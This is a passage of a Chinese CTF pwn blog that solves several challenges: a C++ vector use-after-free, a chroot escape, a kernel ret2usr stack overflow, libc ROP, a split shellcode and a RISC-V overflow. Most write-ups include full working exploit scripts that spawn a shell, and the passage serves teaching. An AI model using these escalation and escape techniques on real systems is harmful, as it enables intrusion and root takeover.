  v5 = (char **)std::vector<void *>::operator[](chunklist, v4);
  my_fgets(*v5, v3, 0);
}

ssize_t __cdecl my_fgets(char *buf, int size, int fd)
{
  size_t v4; // rdx
  char ch_0; // [rsp+17h] [rbp-19h] BYREF
  size_t total_read; // [rsp+18h] [rbp-18h]
  ssize_t bytes_read; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( size <= 0 || !buf )
    return -1LL;
  total_read = 0LL;
  while ( total_read < size - 1 )
  {
    bytes_read = read(fd, &ch_0, 1uLL);
    if ( ch_0 == 10 )
      break;
    v4 = total_read++;
    buf[v4] = ch_0;
  }
  return total_read;
}

void __cdecl delete_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<void*>::size_type M_current_low; // rbx
  void **v4; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > v6; // [rsp+20h] [rbp-30h] BYREF
  __gnu_cxx::__normal_iterator<int*,std::vector<int> > __i; // [rsp+28h] [rbp-28h] BYREF
  __gnu_cxx::__normal_iterator<void* const*,std::vector<void*> > idx[3]; // [rsp+30h] [rbp-20h] BYREF

  idx[1]._M_current = (void *const *)__readfsqword(0x28u);
  for ( i = 0; i < std::vector<int>::size(sizelist); ++i )
  {
    if ( *std::vector<int>::operator[](sizelist, i) == -1 )
    {
      v6._M_current = std::vector<int>::begin(sizelist)._M_current;
      __i._M_current = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v6, i)._M_current;
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(
        (__gnu_cxx::__normal_iterator<int const*,std::vector<int> > *const)idx,
        &__i);
      std::vector<int>::erase(sizelist, (std::vector<int>::const_iterator)idx[0]._M_current);
      v6._M_current = (int *)std::vector<void *>::begin(chunklist)._M_current;
      __i._M_current = (int *)__gnu_cxx::__normal_iterator<void **,std::vector<void *>>::operator+(
                                (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *const)&v6,
                                i)._M_current;
      __gnu_cxx::__normal_iterator<void * const*,std::vector<void *>>::__normal_iterator<void **>(
        idx,
        (const __gnu_cxx::__normal_iterator<void**,std::vector<void*> > *)&__i);
      std::vector<void *>::erase(chunklist, idx[0]);
    }
  }
  puts("idx: ");
  __isoc99_scanf("%d", idx);
  if ( SLODWORD(idx[0]._M_current) >= 0
    && (M_current_low = SLODWORD(idx[0]._M_current), M_current_low < std::vector<void *>::size(chunklist)) )
  {
    v4 = std::vector<void *>::operator[](chunklist, SLODWORD(idx[0]._M_current));
    free(*v4);
    *std::vector<int>::operator[](sizelist, SLODWORD(idx[0]._M_current)) = -1;
    puts("success");
  }
  else
  {
    puts("error");
  }
}

漏洞出在 delete_func这边 在delete前会根据sizelist容器中成员的值,判断哪些是free状态的成员然后再erase这些成员,但是在erase的时候是根据begin() + i 去erase的,erase完后容器的大小发生了变化,下一个begin() + i 就不是原先的 begin() + i了,所以在delete的时候并不能earse连续的free状态的成员,所以存在一个uaf。 然后create的时候size也没有做下界的判断,所以可以通过create_func去创建连续负值的size去构造uaf。

gift 通过sbrk 给了堆地址,就不用泄露堆地址,然后这个edit其实可以当show来用,实现出任意地址申请后,可以申请到堆上vector成员的位置,再配合edit,就可以实现多次任意地址写,泄露出environ后,用任意地址写去写子函数的返回地址打rop去getshell

或者是打fsop house of apple2的利用链,只需要泄露libc还有实现一次任意地址写,之后伪造iofile,宽字符的虚表后就可以getshell

劫持vector 把任意地址申请增强 转换成可以用很简单的方式实现任意地址读写的做法

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node7.anna.nssctf.cn"
PORT = 23086

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def create(size,content):
    sla(">>>","1")
    sla("size:",str(size))
    sla("content",content)

def delete(idx):
    sla(">>>","2")
    sla("idx:",str(idx))

def edit(idx,content = null):
    sla(">>>","3")
    sla("idx:",str(idx))
    if content == null:
        return
    sa("content: ",content)

ru("gift: ")
heap_base = int(rl()[:-1],16) - 0x21000
success(f"heap_base ->{hex(heap_base)}")

create(0x58,"padding") 
create(0x58,"padding")

for i in range(7):
    create(0x48,"tcache")
for i in range(2**9+2**8):
    create(-1, b"")


create(0x48,"fastbin")
create(0x48,"fastbin")

for i in range(7):
    delete(2) # refill tcache

delete(5)
delete(4)
delete(2)


for i in range(7):
    create(0x48,"tcahce") # clean up tcache


pos = heap_base + 0x120f0
vector_addr = heap_base + 0x14260 # &vector[0]
payload = (pos >> 12) ^ vector_addr 

create(0x48,p64(payload))
create(0x48,"AAAAAAAA")
create(0x48,p64(payload))
create(0x48,p64(0x114514)) # 12


create(0x7b8,"unsortedbin")
create(0x58,"padding")
delete(13)

unsortedbin_fd = heap_base + 0x12a90
edit(12,p64(unsortedbin_fd))
edit(0,b"\xe0")
ru("success: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
success(hex(libc_base))

environ = libc_base + libc.sym['__environ']
edit(12,p64(environ - 0x8))
edit(0,"A" * 8) # leak stack 
ru("success: ")
ru("A" * 0x8)
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) # read func
edit(12,p64(return_addr))

ret = libc_base + 0x00000000000baaf9
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
# g(p)
edit(0,payload)


p.interactive()
Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn

chroot escape

啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里

https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html

chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。

exp

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
    mkdir("sub-dir", 0755);
    chroot("sub-dir");
    for(int i = 0; i < 10; i++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

需要静态链接或者是内联汇编,因为容器里没有装动态链接库

如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import base64
import sys
import os


context(os='linux', arch='amd64')
context.log_level = 'debug'

is_debug = 0
IP = "110.40.35.62"
PORT = 32794

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def read_file(filename):
    with open(filename, 'r') as file:
        return file.read()
p = connect()

cmd = '$ '

os.system('base64 exp > exp.b64')
sl('cat <<EOF > exp.b64')
sl(read_file('exp.b64'))
sl('EOF')
sl('base64 -d exp.b64 > exp')
sl('chmod +x ./exp')



p.interactive()

krop

kernel pwn的目的是提权,没有做过kernel pwn的师傅可以看看ctfwiki的knowledge还有ret2usr那一章 https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/

通过分析 qemu的启动脚本可以知道环境开了什么保护,程序没有开启kaslr smap smep这些保护,-initrd initramfs.cpio 是选择 initramfs.cpio这个文件作为文件系统,题目关键的逻辑在这里面

#!/bin/bash

cd /
timeout --foreground 600 qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=1,threads=1 \
    -cpu qemu64

环境里面安装了一个vuln.ko的驱动,需要做的事情是逆向分析vuln.ko中有什么漏洞,然后使用c编写和vuln.ko交互的逻辑去利用漏洞

#!/bin/sh
echo "[*] Init script"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp

insmod /vuln.ko
chmod 644 /dev/simple_ret2usr
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict 

chmod 700 /flag
echo "[*] Finish..."
echo "IF9fICAgICAgX18gICAgICAgLl9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfXyAgICBfX19fXyAKLyAgXCAgICAvICBcIF9fX18gfCAgfCAgIF9fX18gIF9fX18gICBfX19fXyAgIF9fX18gICBfLyAgfF8gX19fXyAgICAgX19fX19fX19fX19fICBfX19fXy8gIHxfXy8gX19fX1wKXCAgIFwvXC8gICBfLyBfXyBcfCAgfCBfLyBfX19cLyAgXyBcIC8gICAgIFxfLyBfXyBcICBcICAgX18vICBfIFwgICAvICBfX19cXyAgX18gXy8gX19fXCAgIF9fXCAgIF9fXCAKIFwgICAgICAgIC9cICBfX18vfCAgfF9cICBcX18oICA8Xz4gfCAgWSBZICBcICBfX18vICAgfCAgfCggIDxfPiApICBcX19fIFwgfCAgfCBcXCAgXF9fX3wgIHwgIHwgIHwgICAKICBcX18vXCAgLyAgXF9fXyAgfF9fX18vXF9fXyAgXF9fX18vfF9ffF98ICAvXF9fXyAgPiAgfF9ffCBcX19fXy8gIC9fX19fICA+fF9ffCAgIFxfX18gIHxfX3wgIHxfX3wgICAKICAgICAgIFwvX18gICAgIFwvICAgICAgICAgIF9fICAgICAgICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICBfX19fXy5fXy8gICAgICAgICAgICBcL19fICAgICAgICAgICAKICBfX19fX18vICB8X19fX19fIF9fX19fX19fLyAgfF8gICBfX18uX18uIF9fX18gIF9fIF9fX19fX19fXyAgXy8gX19fX3xfX19fX19fX18gX19fX19fLyAgfF8gICAgICAgICAKIC8gIF9fX1wgICBfX1xfXyAgXFxfICBfXyBcICAgX19cIDwgICB8ICB8LyAgXyBcfCAgfCAgXF8gIF9fIFwgXCAgIF9fXHwgIFxfICBfXyAvICBfX19cICAgX19cICAgICAgICAKIFxfX18gXCB8ICB8ICAvIF9fIFx8ICB8IFwvfCAgfCAgICBcX19fICAoICA8Xz4gfCAgfCAgL3wgIHwgXC8gIHwgIHwgIHwgIHx8ICB8IFxcX19fIFwgfCAgfCAgICAgICAgICAKL19fX18gID58X198IChfX19fICB8X198ICAgfF9ffCAgICAvIF9fX198XF9fX18vfF9fX18vIHxfX3wgICAgIHxfX3wgIHxfX3x8X198IC9fX19fICA+fF9ffCAgICAgICAgICAKIF9fICBcLyAgICAgICAgICAgXC8gICAgICAgICAgICAgLl9fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgICAgICAKfCAgfCBfXyBfX19fX19fX19fXyAgX19fXyAgIF9fX18gfCAgfCAgIF9fX19fX19fICBfICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgfC8gXy8gX18gXF8gIF9fIFwvICAgIFxfLyBfXyBcfCAgfCAgIFxfX19fIFwgXC8gXC8gLyAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgICA8XCAgX19fL3wgIHwgXHwgICB8ICBcICBfX18vfCAgfF9fIHwgIHxfPiBcICAgICB8ICAgfCAgXCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfF9ffF8gXFxfX18gIHxfX3wgIHxfX198ICAvXF9fXyAgfF9fX18vIHwgICBfXy8gXC9cXy98X19ffCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICBcLyAgICBcLyAgICAgICAgICAgXC8gICAgIFwvICAgICAgIHxfX3wgICAgICAgICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA=" | base64 -d

setsid /bin/cttyhack setuidgid 1000 /bin/sh

在初始化的位置注册了一个misc设备,然后定义了一个针对ioctl操作的函数,copy_from_user这里存在一个栈溢出,然后因为没有开启kaslr的保护,地址都是固定的,可以使用ret2usr去提权,ret2usr的攻击方式是在内核态执行commit_creds(prepare_kernel_cred(NULL))更改cred结构体为root权限的cred然后使用 swapgs和iret返回到用户态执行 system binsh提权

__int64 init_module()
{
  unsigned int v0; // r12d

  v0 = misc_register(&my_device);
  if ( v0 )
    printk(&unk_C7);
  else
    printk(&unk_DC);
  return v0;
}

__int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // [rsp+0h] [rbp-100h] BYREF

  copy_from_user(&v4, a3, 512LL);
  printk(&unk_80);
  return -14LL;
}

exp

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_usermode_status() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}


void get_shell()
{
    system("/bin/sh");
}


void payload()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $get_shell;"
    "swapgs;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}


int main() {
  
  void *buf[0x100];
  save_usermode_status();
  int fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] Failed to open driver\n");
        exit(-1);
    }
    for(int i=0; i<0x100; i++) {
      buf[i] = &payload;
    }

    ioctl(fd, 0x6001, buf);
}
Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28 
payload += p64(pop_rdi_ret) + p64(binsh) +  p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    return 0;
  }
}

有三次输入的机会,输入完后会执行输入的shellcode,但是三次输入的地址都不连续,中间有大量的00字段阻碍shellcode的执行,同时长度也不够getshell,所以需要找到连接三段shellcode的方法 以及syscall read一次

这时候有两种思路,第一种是利用相对偏移跳转/相对偏移call去连接三段shellcode,第二种是,阻碍shellcode的原因是因为解引用错误导致程序崩溃,\x00\x00 对应 add byte ptr [rax], al,只需要将rax修改成一个正确的地址,就可以绕过中间这段00数据

第一种思路的exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "192.168.37.193"
PORT = 63188

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def generate_jmp(offset):
    return b'\xE8' + p8(offset)
# call offset

payload = asm('''
xor eax,eax
''') + generate_jmp(9)

payload += asm('''
push rdx
pop rsi
''') + generate_jmp(9)

payload += asm('''
syscall
''')

print(len(payload))

time.sleep(0.3)
# g(p)
# ru("show your magic: ")
s(payload)

shellcode = asm('nop') * 0x80
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
time.sleep(0.3)
# g(p)
s(shellcode)


p.interactive()

第二种思路的exp

from pwn import *
context.log_level = 'debug'

p = process('./vuln')
# p = remote("121.62.23.53",32894)
# 利用 \x00\x00 对应 add byte ptr [rax], al
# 所以把rax设置为0x114514000这个地址后就可以正常运行\x00\x00
'''
push rdx
pop rax
push rbx
pop rdi

push rdx
pop rsi
push rdx
pop rsi     # 对齐4字节

push rbx
pop rax
syscall
'''
payload = [b'RXS_', b'R^R^', b'SX\x0f\x05']
p.sendline(b''.join(payload))

"""
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
push 0
pop rsi
push 0
pop rdx
push 0x3b
pop rax
syscall
"""
payload = (b'\0' * 12).join(payload) + b'H\xb8/bin/sh\x00PT_j\x00^j\x00Zj;X\x0f\x05'
pause()
p.sendline(payload)
p.interactive()

invisible_flag

程序的逻辑

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[288]; // [sp+0h] [-120h] BYREF

  init_io();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0, command, 8uLL);
  printf("Hello, %s", command);
  puts("Input ur words");
  read(0, v4, 0x120uLL);
  my_input(v4);
  puts("message received");
  return 0;
}

char *__fastcall my_input(const char *a1)
{
  char v3[248]; // [sp+18h] [-108h] BYREF

  byte_12347070 = strlen(a1);
  if ( (unsigned __int8)byte_12347070 > 8uLL )
  {
    puts("too long.");
    exit(-1);
  }
  return strcpy(v3, a1);
}

__int64 backdoor()
{
  puts("background debug fun.");
  puts("input what you want exec");
  read(0, command, 8uLL);
  if ( strstr(command, "sh") || strstr(command, "flag") )
  {
    puts("no.");
    exit(-1);
  }
  return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108         = -108h
.text:0000000012345786 var_F8          = -0F8h
.text:0000000012345786 var_s0          =  0
.text:0000000012345786 var_s8          =  8
.text:0000000012345786 arg_0           =  10h
.text:0000000012345786
.text:0000000012345786                 addi            sp, sp, -120h
.text:0000000012345788                 sd              ra, 110h+var_s8(sp)
.text:000000001234578A                 sd              s0, 110h+var_s0(sp)
.text:000000001234578C                 addi            s0, sp, 110h+arg_0
.text:000000001234578E                 sd              a0, -10h+var_108(s0)
.text:0000000012345792                 ld              a0, -10h+var_108(s0)
.text:0000000012345796                 call            strlen
.text:000000001234579E                 mv              a5, a0
.text:00000000123457A0                 andi            a4, a5, 0FFh
.text:00000000123457A4                 sb              a4, byte_12347070
.text:00000000123457A8                 lbu             a5, byte_12347070
.text:00000000123457AC                 mv              a4, a5
.text:00000000123457AE                 li              a5, 8
.text:00000000123457B0                 bgeu            a5, a4, loc_123457CE
.text:00000000123457B4                 lui             a5, %hi(aTooLong) # "too long."
.text:00000000123457B8                 addi            a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC                 call            puts
.text:00000000123457C4                 li              a0, -1
.text:00000000123457C6                 call            exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE:                           # CODE XREF: my_input+2A↑j
.text:00000000123457CE                 addi            a5, s0, -10h+var_F8
.text:00000000123457D2                 ld              a1, -10h+var_108(s0)
.text:00000000123457D6                 mv              a0, a5
.text:00000000123457D8                 call            strcpy
.text:00000000123457E0                 nop
.text:00000000123457E2                 ld              ra, 110h+var_s8(sp)
.text:00000000123457E4                 ld              s0, 110h+var_s0(sp)
.text:00000000123457E6                 addi            sp, sp, 120h
.text:00000000123457E8                 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

gdb-multiarch -ex "set architecture riscv" \
              -ex "set exception-debugger on" \
              -ex "file ./pwn" \
              -ex "target remote localhost:1234" \
              -ex "b *0x12345796" \
              -ex "c"

exp

from pwn import *

context(os='linux', arch='riscv', log_level='debug',endian = 'little')
context.log_level = 'debug'

# p = process(["qemu-riscv64", "-L", "./", "-g", "1234", "./pwn"])
p = process(["qemu-riscv64", "-L", "./", "./pwn"])

backdoor = 0x123456ee

p.recvuntil('Input ur name:')
p.send("A")

p.recvuntil("Input ur words")
p.sendline(b"a" * 0x100 + p64(backdoor))

p.interactive()

shellcode

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  puts("[0] The Joy Of Contsructing shellcode ~");
  puts("[1] Are You Superstar In Ctfers?");
  puts("[2] Input: (ye / no)");
  read(0, buf, 2uLL);
  if ( !strcmp(buf, "ye") )
    puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
  else
    vuln(buf);
  puts("[3] Bye~");
  return 0LL;
}

unsigned __int64 __fastcall sub_13A2(const char *a1)
{
  int v2; // [rsp+14h] [rbp-3Ch]
  char *buf; // [rsp+18h] [rbp-38h]
  char *v4; // [rsp+20h] [rbp-30h]
  void (*s[3])(void); // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("[3] Your Answer: %s\n", a1);
  puts("[4] Welcome To P0P's World!!!");
  memset(s, 0, 0x10uLL);
  puts("[5] ======== Input Your P0P Code ========");
  for ( buf = (char *)s; buf; ++buf )
  {
    read(0, buf, 1uLL);
    if ( (buf - (char *)s) >> 4 > 0 )
      break;
  }
  v4 = (char *)s;
  v2 = 0;
  puts("[6] Next");
  if ( s )
  {
    while ( *v4 >= 79 && *v4 <= 95 )
    {
      ++v2;
      ++v4;
    }
    if ( !((v4 - (char *)s) >> 4) )
    {
      puts("[*] It's Not GW's Expect !");
      exit(-1);
    }
  }
  puts("[7] Just Do It!");
  sub_1289();
  s[0]();
  return v6 - __readfsqword(0x28u);
}

__int64 sub_1289()
{
  __int64 v1; // [rsp+8h] [rbp-48h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 33LL, 0LL);
  return seccomp_load(v1);
}

checksec 栈有rwx的权限

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ checksec shellcode
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/lhj/Desktop/ycb2023/shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable

程序的逻辑是输入17个字节的数据(read 输入数据的逻辑有问题导致可以多输入一个字节) 然后判断输入的长度是否大于等于16个字节,判断每个字节是否是[79,95]这个范围的字节码,如果是就会执行这些shellcode

